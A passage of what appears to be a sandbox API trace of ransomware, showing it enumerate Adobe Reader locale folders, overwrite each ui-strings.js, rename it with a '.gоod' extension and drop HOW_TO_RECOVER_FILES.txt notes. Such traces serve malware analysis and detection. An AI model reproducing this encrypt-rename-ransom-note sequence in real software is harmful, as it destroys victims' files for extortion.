hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.620] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.620] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.620] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0258.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0258.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0258.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0258.620] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il", lpFilePart=0x0) returned 0x77 [0258.620] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0258.620] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.620] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.621] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.621] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0258.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0258.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0258.621] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0258.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37eac10 | out: lpFileInformation=0x37eac10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8)) returned 1 [0258.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0258.621] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0258.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0258.621] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.622] GetFileType (hFile=0x8a8) returned 0x1 [0258.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0258.622] GetFileType (hFile=0x8a8) returned 0x1 [0258.622] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x4d8 [0258.622] ReadFile (in: hFile=0x8a8, lpBuffer=0x37eb490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x37eb490*, lpNumberOfBytesRead=0x202ec278*=0x4d8, lpOverlapped=0x0) returned 1 [0258.623] CloseHandle (hObject=0x8a8) returned 1 [0259.388] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0259.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0259.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.389] GetFileType (hFile=0x86c) returned 0x1 [0259.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0259.389] GetFileType (hFile=0x86c) returned 0x1 [0259.389] WriteFile (in: hFile=0x86c, lpBuffer=0x38584f0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x38584f0*, lpNumberOfBytesWritten=0x202ec188*=0x4e0, lpOverlapped=0x0) returned 1 [0259.389] CloseHandle (hObject=0x86c) returned 1 [0259.389] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0259.389] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0259.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0259.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x96d1a1c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0259.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0259.389] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\ui-strings.js.gоod")) returned 1 [0259.390] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0259.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0259.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0259.391] GetFileType (hFile=0x86c) returned 0x1 [0259.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0259.391] GetFileType (hFile=0x86c) returned 0x1 [0259.392] WriteFile (in: hFile=0x86c, lpBuffer=0x385be20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x385be20*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0259.392] CloseHandle (hObject=0x86c) returned 1 [0259.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0259.392] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x77 [0259.392] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0259.394] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.394] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.395] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.395] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0259.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0259.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0259.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0259.395] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x77 [0259.395] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0259.395] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.395] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.396] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.396] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0259.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0259.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0259.396] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0259.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0259.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x386be98 | out: lpFileInformation=0x386be98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x587)) returned 1 [0259.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0259.396] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0259.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0259.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.396] GetFileType (hFile=0x86c) returned 0x1 [0259.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0259.397] GetFileType (hFile=0x86c) returned 0x1 [0259.397] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x587 [0259.397] ReadFile (in: hFile=0x86c, lpBuffer=0x386c7c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x386c7c8*, lpNumberOfBytesRead=0x202ec278*=0x587, lpOverlapped=0x0) returned 1 [0259.397] CloseHandle (hObject=0x86c) returned 1 [0259.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0259.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0259.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.423] GetFileType (hFile=0x86c) returned 0x1 [0259.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0259.423] GetFileType (hFile=0x86c) returned 0x1 [0259.423] WriteFile (in: hFile=0x86c, lpBuffer=0x38e6cb8*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x38e6cb8*, lpNumberOfBytesWritten=0x202ec188*=0x590, lpOverlapped=0x0) returned 1 [0259.423] CloseHandle (hObject=0x86c) returned 1 [0259.424] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0259.424] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0259.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0259.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 